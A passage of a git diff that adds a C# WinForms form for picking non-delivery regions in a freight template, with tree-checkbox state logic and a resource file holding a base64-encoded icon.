Text = city.name, Name = "c" + city.code, CheckBoxThreeState = true, CheckBoxVisible = true }; + if (nodeProvince.CheckState == CheckState.Checked) + nodeCity.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.EndsWith(nodeCity.Name))) + nodeCity.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.Contains(nodeCity.Name))) + nodeCity.CheckState = CheckState.Indeterminate; + nodeProvince.Nodes.Add(nodeCity); + if (city.sub_districts != null && city.sub_districts.Count > 0) + { + foreach (var district in city.sub_districts) + { + var nodeDistrict = new Node() { Text = district.name, Name = "d" + district.code, CheckBoxThreeState = true, CheckBoxVisible = true }; + if (nodeCity.CheckState == CheckState.Checked) + nodeDistrict.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.EndsWith(nodeDistrict.Name))) + nodeDistrict.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.Contains(nodeDistrict.Name))) + nodeDistrict.CheckState = CheckState.Indeterminate; + nodeCity.Nodes.Add(nodeDistrict); + if (district.sub_districts != null && district.sub_districts.Count > 0) + { + foreach (var town in district.sub_districts) + { + var nodeTown = new Node() { Text = town.name, Name = "t" + town.code, CheckBoxThreeState = true, CheckBoxVisible = true }; + if (nodeDistrict.CheckState == CheckState.Checked) + nodeTown.CheckState = CheckState.Checked; + else if (FreightTemplateForm.AreaNotSendDict.Keys.Any(k => k.EndsWith(nodeTown.Name))) + nodeTown.CheckState = CheckState.Checked; + nodeDistrict.Nodes.Add(nodeTown); + } + } + } + } + } + } + } + advTree1.AfterCheck += AdvTree1_AfterCheck; + }); + } + + private void AdvTree1_AfterCheck(object sender, AdvTreeCellEventArgs e) + { + this.advTree1.AfterCheck -= AdvTree1_AfterCheck; + var node = e.Cell.Parent; + if (node.CheckState == CheckState.Checked) + { + CheckAllChildNodes(node, true); + SelectParent(node); + } + else if (node.CheckState == CheckState.Unchecked) + { + CheckAllChildNodes(node, false); + CancelParent(node); + } + else + { + node.CheckState = CheckState.Unchecked; + CheckAllChildNodes(node, false); + CancelParent(node); + } + GetArea(); + this.advTree1.AfterCheck += AdvTree1_AfterCheck; + } + + + #region 判断同级节点是否全部选中,从第一个节点开始 + private bool IsAllChecked(Node tn) + { + if (tn.CheckState != CheckState.Checked) + { + return false; + } + if (tn.NextNode == null) + { + return true; + } + return IsAllChecked(tn.NextNode); + } + #endregion + + #region 判断同级节点是否全未选中,从第一个节点开始 + private bool IsAllUnChecked(Node tn) + { + if (tn.CheckState != CheckState.Unchecked) + { + return false; + } + if (tn.NextNode == null) + { + return true; + } + return IsAllUnChecked(tn.NextNode); + } + #endregion + + #region 如果该节点选中,则其子节点全部选中,反之亦然 + private void CheckAllChildNodes(Node tn, bool Checked) + { + if (tn.CheckState == CheckState.Checked || tn.CheckState == CheckState.Unchecked) + { + foreach (Node tnChild in tn.Nodes) + { + tnChild.CheckState = tn.CheckState; + if (tnChild.Nodes.Count > 0) + { + CheckAllChildNodes(tnChild, Checked); + } + } + } + } + #endregion + + #region 如过该节点选中,则其父节点依次选中 + private void SelectParent(Node tn) + { + if (tn.Parent != null) + { + if (tn.CheckState == CheckState.Indeterminate) + tn.Parent.CheckState = CheckState.Indeterminate; + else if (IsAllChecked(tn.Parent.Nodes[0])) + tn.Parent.CheckState = CheckState.Checked; + else + tn.Parent.CheckState = CheckState.Indeterminate; + + SelectParent(tn.Parent); + } + } + #endregion + + #region 如果该节点没有选中,且同级节点全未选中,则取消父节点 + private void CancelParent(Node tn) + { + if (tn.Parent != null) + { + if (tn.CheckState == CheckState.Indeterminate) + tn.Parent.CheckState = CheckState.Indeterminate; + else if (IsAllUnChecked(tn.Parent.Nodes[0])) + tn.Parent.CheckState = CheckState.Unchecked; + else + tn.Parent.CheckState = CheckState.Indeterminate; + + CancelParent(tn.Parent); + } + } + #endregion + + private void btnCancel_Click(object sender, EventArgs e) + { + this.Close(); + } + + private void btnSave_Click(object sender, EventArgs e) + { + ConfigHelper.SaveConfig("not_send_address", FreightTemplateForm.AreaNotSendDict); + this.Close(); + } + + private void GetArea() + { + FreightTemplateForm.AreaNotSendDict.Clear(); + + foreach (Node provinceNode in this.advTree1.Nodes) + { + if (provinceNode.CheckState == CheckState.Checked) + { + FreightTemplateForm.AreaNotSendDict[provinceNode.Name] = provinceNode.Text; + } + else if (provinceNode.CheckState == CheckState.Indeterminate) + { + foreach (Node cityNode in provinceNode.Nodes) + { + if (cityNode.CheckState == CheckState.Checked) + { + FreightTemplateForm.AreaNotSendDict[provinceNode.Name + cityNode.Name] = provinceNode.Text + cityNode.Text; + } + else if (cityNode.CheckState == CheckState.Indeterminate) + { + foreach (Node districtNode in cityNode.Nodes) + { + if (districtNode.CheckState == CheckState.Checked) + { + FreightTemplateForm.AreaNotSendDict[provinceNode.Name + cityNode.Name + districtNode.Name] = provinceNode.Text + cityNode.Text + districtNode.Text; + } + else if (provinceNode.CheckState == CheckState.Indeterminate) + { + foreach (Node townNode in districtNode.Nodes) + { + if (townNode.CheckState == CheckState.Checked) + { + FreightTemplateForm.AreaNotSendDict[provinceNode.Name + cityNode.Name + districtNode.Name + townNode.Name] = + provinceNode.Text + cityNode.Text + districtNode.Text + townNode.Text; + } + } + } + } + } + } + } + } + + textBox1.Text = string.Join("、", FreightTemplateForm.AreaNotSendDict.Values); + } + } +} diff --git a/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.resx b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.resx new file mode 100644 index 0000000..450d02b --- /dev/null +++ b/TEMUKJD/KJDForms/ShopForms/FreightTemplateNotSendAreaForm.resx @@ -0,0 +1,298 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAQcwAAAABoKAAAFgAAACgAAACAAAAAAAEAAAEABAAAAAAAACgAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP// + AAD///8AAAAAAAAAAAAAAAAABEZmbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZkQAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAZszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMxmAAAAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMxkAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzGQAAAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMd3d3d3d3d3 + d3d3fMzMzMzMzMzMzMzMzMzMzMzMzMYAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMd3d3iIiIiI + iIiIiIiIiIh3d3d8zMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAABszMzMzMzMzMzMzMzMzMx3eIiIiI + iIiIiIiIiIiIiIiIiIiIiHd8zMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAAGzMzMzMzMzMzMzMzMzMd4iI + iIiIiIiIiIiIiIiIiIiIiIiIiIiIiHfMzMzMzMzMzMzMzMzMxgAAAAAAAAAAAAbMzMzMzMzMzMzMzMzH + eIiIiIiIiIiHZmZmZmZmZmZmZ3eIiIiIiIiIiHzMzMzMzMzMzMzMzMxgAAAAAAAAAABszMzMzMzMzMzM + zMzHiIiIiIiHZmZmZmZmZmZmZmZmZmZmZmZmeIiIiIiIfMzMzMzMzMzMzMzMxgAAAAAAAAAGzMzMzMzM + zMzMzMzHiIiIiIdmZmZmZgAAAAAAAAAAAAZmZmZmZmZmeIiIiIh8zMzMzMzMzMzMzMxgAAAAAAAATMzM + zMzMzMzMzMzHiIiIiHZmZgAAAAAAAAAAAAEAAAAAAAAAAGZmZmZniIiIiHzMzMzMzMzMzMzMxAAAAAAA + AGzMzMzMzMzMzMzMeIiIiGZmAAAAAAERERmZmZmZmZmZkRERERAAAGZmZmZ4iIiIfMzMzMzMzMzMzMYA + AAAAAAbMzMzMzMzMzMzMeIiIiGZgAAAAERmZmZmZmZmZmZmZmZmZmZmZkREAAGZmZniIiIfMzMzMzMzM + zMzMYAAAAABMzMzMzMzMzMzMzIiIiHYAAAARGZmZiIiIj///////+IiIiIeZmZmZkREAZmZmiIiIfMzM + zMzMzMzMzMQAAAAAbMzMzMzMzMzMzO6IiIYAAAARmYiI/////////////////////4iHmZmZEQBmZmeI + iIh8zMzMzMzMzMzGAAAABMzMzMzMzMzMzMeIiIdgAAAZmI////////////////////////////iJmZmR + EGZmZ4iIh8zMzMzMzMzMzEAAAAbMzMzMzMzMzMzoiIhwAAAZeP////////////////////////////// + /4iZmZEAZmZ4iIh8zMzMzMzMzMxgAABMzMzMzMzMzMzOiIiGAAABiP////////////////////////// + ////////+JmZkQZmZ4iIh8zMzMzMzMzMxAAAbMzMzMzMzMzM7oiIYAABeP////////////////////// + ///////////////4mZkQZmZ4iIjMzMzMzMzMzMYAAMzMzMzMzMzMzu6IhwAAGP////////////////// + /////////////////////4iZmRZmZ4iIfMzMzMzMzMzMAAbMzMzMzMzMzM7oiHAAB4////////////// + ////////////////////////////iZmRBmZ4iIfMzMzMzMzMzGAGzMzMzMzMzMzuiIcAAHj///////// + //////////////////////////////////iZmRZmZ4iIzMzMzMzMzMxgDMzMzMzMzMzM7ohwAAf///// + ////////////////////////////////////////95mRZmaIiHzMzMzMzMzMwEzMzMzMzMzMzuiIEABo + //////////////////////////////////////////////95mRZmaIiMzMzMzMzMzMRszMzMzMzMzM7o + hwAGj///////////////////////////////////////////////95kQZmeIh8zMzMzMzMzGbMzMzMzM + zMzu6HEAB/////////////////////////////////////////////////+ZkQZmiIjMzMzMzMzMxmzM + zMzMzMzM7ohwAGj/////////////////////////////////////////////////iZkWZniIfMzMzMzM + zMZszMzMzMzMxu6HEAbv/4iI/////////////////////////////////////////4iP//iZEGZoiHzM + zMzMzMzGbMzMzMzMzM7uhxAGj/iIiIj//////////////////////////////////////4iIiI//mZFm + aIiMzMzMzMzMxszMzMzMzMzO6IEAbv+IiIiIj/////////////////////////////////////iIiIiP + /4mRBmeIh8zMzMzMzMbMzMzMzMzMbuhxAG7/iIiIiI////////////////iIj///j//////////////4 + iIiIiP/5mQZmiIfMzMzMzMzMzMzMzMzMzO7ocQDo+IiIiIiP///////////////u7u7u7u7o//////// + ////iIiIiIj/+JkWZoiHzMzMzMzMzMzMzMzMzMzu6BEG7/iIiIiIj/////////////+Hd3ju5maO7v// + /////////4iIiIiI//iZEGaIh8zMzMzMzMzMzMzMzMzM7ugRBu//iIiIiI//////////////kZmZdmAZ + mP/////////////4iIiIiP//mRBmeIjMzMzMzMzMzMzMzMzMzO7nEAbv/4iIiIiP////////////+HiI + mZEBd5n/////////////+IiIiIj//4mQZniIzMzMzMzMzMzMzMzMzMzu5xAO7//4iIiI//ju7o////// + //j//4mZeP/4//////////////iIiIiP//+JkGZ4iHzMzMzMzMzMzMzMzMzG7ocQDu///4iI//ju7u7u + j//////////4mP//////////////7u7uiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzu6HEG7v//////+G + ZmZ47u7//////////4//////////////7u7u7u6P/////4mQBmiIfMzMzMzMzMzMzMzMzM7uhRBu7/// + ///3AAAAF37u7///////////////////////h2AABm7u7v/////5kAZ4iHzMzMzMzMzMzMzMzMzO7oUQ + bu//////gQAAZgEG7u//////////////////////+BAAAAAFfu6P////+ZAGeIjMzMzMzMzMzMzMzMzM + zu6FEG7v////+JEAAXhwAG7o/////////////////////4gAABEGARbu7/////kQBoiIzMzMzMzMzMzM + zMzMzM7uhRBu7/////iZABmZkQBm6P////////////////////+JABGZF2AAbo////+JEGaIiMzMzMzM + zMzMzMzMzMzO7ucRbu/////4mRZ4iZkQBu//////////////////////mQB5mZdgAG7/////iRBmiIfM + zMzMzMzMzMzMzMzMxu7nEQ7v////+Bl+j/iZEAaP/////////////////////5l2/4mRAABu/////4kQ + ZoiHzMzMzMzMzMzMzMzMzMzu5xEO6P//+Phgbu/4kQAI//////////////////////+Zfo/4kQAAeIiP + //+JEGaIh8zMzMzMzMzMzMzMzMzM7ucRBu7///iOYHiI+HAAf///////////////////////mYjv+BAA + BuiIj///iQBniIfMzMzMzMzMzMzMzMzMzO7nEQbu///3EAAG6IcRF4iP/////////////////////4GP + /4cQAAZnbv///5EAaIiMzMzMzMzMzMzMzMzMzMzu5xEW7v//iRF3dmZgAXjmj/////////////////// + ///3ePiBEQAHdm7///iRAGiIfMzMzMzMzMzMzMzMzMzM7u5xFu6P/5EZmXZmZmbmaP////////////// + ///////4/4d2cRAAFwbuj//4kQZoiHzMzMzMzMzMzMzMzMzMzG7ucRDu7/iXiZkQAAZmAH////////// + ////////////+IiIdmYABmAX//j/+BAGeIh8zMzMzMzMzMzMzMzMzMzO7nEQbu/4iP+BERkREZf///// + //////////////////+JmXdxEBEAB3////kQBoiIzMzMzMzMzMzMzMzMzMzMzu5xEW7o+P//gZmZmZmP + ////////////////////////+JmZmZmZl453//+JAGaIh8zMzMzMzMzMzMzMzMzMzM7u5xEO7vj/+IeP + iIj////////////////////////////4iZmZmZiPiP//cQBoiIfMzMzMzMzMzMzMzMzMzMzM7ucRFu6P + //iP//////////////////////////////////////+Jn/j/+JAAaIiMzMzMzMzMzMzMzMzMzMzMzO7n + ERbu7//4/////////////////////////////////////////4j///gQBoiIfMzMzMzMzMzMzMzMzMzM + zMzu7nERbuj////////////////////////////////////////////4//+BAAaIiMzMzMzMzMzMzMzM + zMzMzMzMzu5xEW7u////////////////////////////////////////////////cQBoiIfMzMzMzMzM + zMzMzMzMzMzMzM7u5xEW7u//////////////////////////////////////////////+BAAaIiMzMzM + zMzMzMzMzMzMzMzMzMzO7uYREO7o//7v//////////////////////////////////////////cABoiI + fMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7oj/7o////////////////////////////////////////9x + AAeIiMzMzMzMzMzMzMzMzMzMzMzMzMzO7ucRFu7nePju7u7v//////////////////////////////// + 6P/4EAB4iIfMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERBu7nmIiO7oj/////////////////////////// + ju7u7o//hwAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzu7nERbu7nmZl5eP////////////////////// + ///4iPiO5nj/+HAAaIiIzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7nERbu7oiZeI////////////////// + ////////+ImXd5mP/4cAAHiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERbu7v//////////////// + ///////////////4iZl4//hgAAeIiHzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u53ERBu7v////////// + //////////////////////////+GAAB4iI7MzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7uiHEADujv//// + ///////////////////////////////3AAAGiIh8zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7ohwABmP + ////////////////////////////////////iREAZniIjMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzuiI + EAB4f///////////////////////////////////+JmZkWZoiIfMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zO6IhwBo//////////////////////////////////////iImZl2ZoiIzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzuiHAA7////////////////////////////////////////4iZFmZ4iHzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzO6IgQBo/////4j///////////////////////////////////mZFmaIiMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzuiHAA7/////iIiP//////7o//////////////////iI/////4mRZmeIh8zMzMzM + zMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiI/////+7u7u7uiIiI7u7v////iIiI/////5mRZmiIjM + zMzMzMzMzMzMzMzMzMzMzMzMzMzuiHAA7////4iIiIiIj//3d2bu7u7u7u7u7u7//4iIiIiP////+JkW + ZniIfMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI//+ZkAAGZmZmZmZmbv//iIiIiIiP// + //+ZkWZoiIzMzMzMzMzMzMzMzMzMzMzMzMzMzuiFAG7////4iIiIiIj///iZABEREREREBAG7//4iIiI + iIj/////iZFmaIiMzMzMzMzMzMzMzMzMzMzMzMzMzO6IcQBo////+IiIiIiI///4kQARERERERERDo// + +IiIiIiIj/////mZBmeIh8zMzMzMzMzMzMzMzMzMzMzMzMzuiHAG7////4iIiIiIiP//+JFmeHd3d3dx + EW6P//iIiIiIiI/////4mRZmiIfMzMzMzMzMzMzMzMzMzMzMzMzO7ocQBo////+IiIiIiIj///iQZoiO + 7u7u5xFu7//4iIiIiIiI////+JkWZniIzMzMzMzMzMzMzMzMzMzMzMzMzuiHEA7////4iIiIiIiP///5 + kGaIju7u7ucRbu///4iIiIiIiP////95kGZ4iHzMzMzMzMzMzMzMzMzMzMzMzM7ogQBu////+IiIiIiI + j///+RBmiI7u7u7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzMzMzMzMzMzu6HEAaP////iI + iIiIiI////kQZoiHzMzu5xEO6P//iIiIiIiIj////4mRZmiIjMzMzMzMzMzMzMzMzMzMzMzM7ugRBu// + ///4iIiIiIj///+JEGaIh8zM7ucRBu7//4iIiIiIiI/////5kQZniIzMzMzMzMzMzMzMzMzMzMzMzO6I + EAbv////iIiIiIiI////iQBniIzMzO7oERbu///4iIiIiIiP////+JkGZ4iHzMzMzMzMzMzMzMzMzMzM + zMbuhxAGj////4iIiIiIj////3kAaIiMzMzu7nEW7v//+IiIiIiIiP////iZFmaIh8zMzMzMzMzMzMzM + zMzMzMzO7oUQbv////+IiIiIiI////+RBmiIfMzMzu5xFu6P//+IiIiIiIj////4mRZmiIfMzMzMzMzM + zMzMzMzMzMzMzu6BAG7////4iIiIiIj////4kQZoiHzMzM7ucRDu7///iIiIiIiIj////5kQZoiHzMzM + zMzMzMzMzMzMzMzMzM7ocQBu////+IiIiIiI////+JAGeIh8zMzO7nERbu///4iIiIiIiI////95EGaI + h8zMzMzMzMzMzMzMzMzMzMxu6HEA7v////iIiIiIiP////cQBoiIzMzMzu7lEW7v///4iIiIiIiP//// + iRBmeIjMzMzMzMzMzMzMzMzMzMzM7uhxBuj////4iIiIiI/////5EAaIiMzMzMbu5xEO7v//+IiIiIiI + j////4kQZniIzMzMzMzMzMzMzMzMzMzMzO7oEQbv////+IiIiIj/////iQBmiIfMzMzM7ucRBu7///iI + iIiIiIj///+JkGZ4iMzMzMzMzMzMzMzMzMzMzMzu6BEG7/////iIiIiI/////4EAaIiHzMzMzO7nERbu + j///iIiIiIiI////iZBmaIh8zMzMzMzMzMzMzMzMzMzM7ucRBu/////4iIiIj/////+RAGiIjMzMzMzu + 7nEQ7u////iIiIiIiP///4mQBmiIfMzMzMzMzMzMzMzMzMzMzO7nEAbv////+IiIiP/////4EAZ4iHzM + zMzMzu5xEG7v///4iIiIiIj///+JkAZoiHzMzMzMzMzMxmzMzMzMzMzu5xAO7/////+IiI//////+RAG + iIjMzMzMzM7ucRFu7v///4iIiIiI////+ZAGaIh8zMzMzMzMzMZszMzMzMzG7ocQDu//////+I////// + /4EAZoiIzMzMzMzO7ucRBu7////4iIiIiP////mQBmiIfMzMzMzMzMzGbMzMzMzMzu6HEA7v//////// + //////9xAGiIh8zMzMzMzO7nERbu7///+IiIiI/////5kAZoiHzMzMzMzMzMxmzMzMzMzM7uhxAO7/// + ///////////4EABoiIzMzMzMzMzu7nEQbu////+IiIiP////+ZAGaIh8zMzMzMzMzMZszMzMzMzO7oUQ + Du//////////////9xAGiIh8zMzMzMzM7u5xEW7u/////4iI//////mQBmiIfMzMzMzMzMzGTMzMzMzM + zu6HEA7v/////////////4EABoiIzMzMzMzMzM7u5xEG7v/////////////5kAZoiHzMzMzMzMzMxAzM + zMzMzM7uhxEO7/////////////9wAGiIh8zMzMzMzMzO7ucRFu7v////////////+RAGeIh8zMzMzMzM + zMAGzMzMzMzO7ucRDuj////////////4EAB4iIzMzMzMzMzMzO7ucRBu6P///////////4kQBoiIzMzM + zMzMzMxgBszMzMzMxu7nEQbo////////////gQAGiIh8zMzMzMzMzMzu7nERDu7///////////+JEAaI + iMzMzMzMzMzMYADMzMzMzMzu5xEG7v///////////3EAZ4iIzMzMzMzMzMzMzu7nERbu7/////////// + gQBmiIfMzMzMzMzMzAAAbMzMzMzM7ucRBu7///////////gQAGiIh8zMzMzMzMzMzM7u5xEQbu7///// + /////5EAZ4iHzMzMzMzMzMYAAEzMzMzMzO7nERDu7/////////+HAAaIiIzMzMzMzMzMzMzM7u5xEQ7u + 7/////////gQAGiIjMzMzMzMzMzEAAAGzMzMzMzu7nEQbuj////////4cAAHiIh8zMzMzMzMzMzMzO7u + dxEW7uj////////3AAZoiHzMzMzMzMzMYAAABMzMzMzM7u5xEG7u////////hgAAeIiHzMzMzMzMzMzM + zMzO7ucREW7u7///////gQAGiIh8zMzMzMzMzEAAAABszMzMzM7ucREG7uj/////hmAAB4iI7MzMzMzM + zMzMzMzMzu7ucREG7u6P////+AAAB4iIzMzMzMzMzMYAAAAATMzMzMzO7ucREG7u7oiO7mAAAHiIiMzM + zMzMzMzMzMzMzMzu7ucREG7u7o//+HYAAHiIh8zMzMzMzMzEAAAAAAbMzMzMzu7nEREG7u7u5mAAAAeI + iIfMzMzMzMzMzMzMzMzMzu7ucREQbu7u7uYAAAeIiHzMzMzMzMzMYAAAAAAAbMzMzMzu7nEREAZmZgAA + AAF4iI58zMzMzMzMzMzMzMzMzMzu7ncREQZm7mZgAAB4iI7MzMzMzMzMxgAAAAAAAEzMzMzM7u7nEREQ + AAAAABF4iI7uzMzMzMzMzMzMzMzMzMzM7u7ucRERAAAAAAAHiIiMzMzMzMzMzMQAAAAAAAAGzMzMzM7u + 7nERERERERF3iIju7MzMzMzMzMzMzMzMzMzMzM7u7udREREQAAAReIiIfMzMzMzMzMxgAAAAAAAAAGzM + zMzM7u7udRERERV4iI7u7MzMzMzMzMzMzMzMzMzMzMzM7u7u5xEREREReIiO7MzMzMzMzMzGAAAAAAAA + AAAGzMzMzM7u7u53d3eIiO7u7szMzMzMzMzMzMzMzMzMzMzMzM7u7u7nd1F3eIiO7uzMzMzMzMzMYAAA + AAAAAAAAAGzMzMzM7u7u7u7u7u7u7szMzMzMzMzMzMzMzMzMzMzMzMzMzu7u7u6IiI7u7uzMzMzMzMzM + xgAAAAAAAAAAAAAGzMzMzMzu7u7u7u7u5szMzMzMzMzMzMzMzMzMzMzMzMzMzMzO7u7u7u7u7u7MzMzM + zMzMzGAAAAAAAAAAAAAAAEbMzMzMzG7u7u7ubMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM7u7u7u7uzM + zMzMzMzMzGQAAAAAAAAAAAAAAAAAbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzG7u + 7szMzMzMzMzMzMYAAAAAAAAAAAAAAAAAAARszMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAABGzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAEbMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMZAAAAAAAAAAAAAAAAAAAAAAAAAAABmzMzMzMzMzMzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzGYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARGZmzMzMzMzMzMzMzM + zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMZmZEAAAAAAAAAAAAAAAAD////+AAAAAAAAAAD/////////AAAA + AAAAAAAAAP//////+AAAAAAAAAAAAAAf/////+AAAAAAAAAAAAAAB/////+AAAAAAAAAAAAAAAH////+ + AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAD////AAAAAAAAAAAAAAAAAP///gAAAAAAAAAAAAAAAA + B///wAAAAAAAAAAAAAAAAAP//4AAAAAAAAAAAAAAAAAB//8AAAAAAAAAAAAAAAAAAP/+AAAAAAAAAAAA + AAAAAAB//gAAAAAAAAAAAAAAAAAAf/wAAAAAAAAAAAAAAAAAAD/4AAAAAAAAAAAAAAAAAAAf+AAAAAAA + AAAAAAAAAAAAH/AAAAAAAAAAAAAAAAAAAA/wAAAAAAAAAAAAAAAAAAAP4AAAAAAAAAAAAAAAAAAAB+AA + AAAAAAAAAAAAAAAAAAfAAAAAAAAAAAAAAAAAAAADwAAAAAAAAAAAAAAAAAAAA8AAAAAAAAAAAAAAAAAA + AAOAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAAAAAAAAABAAAAAAAA + AAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAA + AAGAAAAAAAAAAAAAAAAAAAABgAAAAAAAAAAAAAAAAAAAAYAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAAAA + AAAAAAABgAAAAAAAAAAAAAAAAAAAAcAAAAAAAAAAAAAAAAAAAAPAAAAAAAAAAAAAAAAAAAADwAAAAAAA + AAAAAAAAAAAAA+AAAAAAAAAAAAAAAAAAAAfgAAAAAAAAAAAAAAAAAAAH8AAAAAAAAAAAAAAAAAAAD/AA + AAAAAAAAAAAAAAAAAA/4AAAAAAAAAAAAAAAAAAAf+AAAAAAAAAAAAAAAAAAAH/wAAAAAAAAAAAAAAAAA + AD/+AAAAAAAAAAAAAAAAAAB//gAAAAAAAAAAAAAAAAAAf/8AAAAAAAAAAAAAAAAAAP//gAAAAAAAAAAA + AAAAAAH//8AAAAAAAAAAAAAAAAAD///gAAAAAAAAAAAAAAAAB///8AAAAAAAAAAAAAAAAA////wAAAAA + 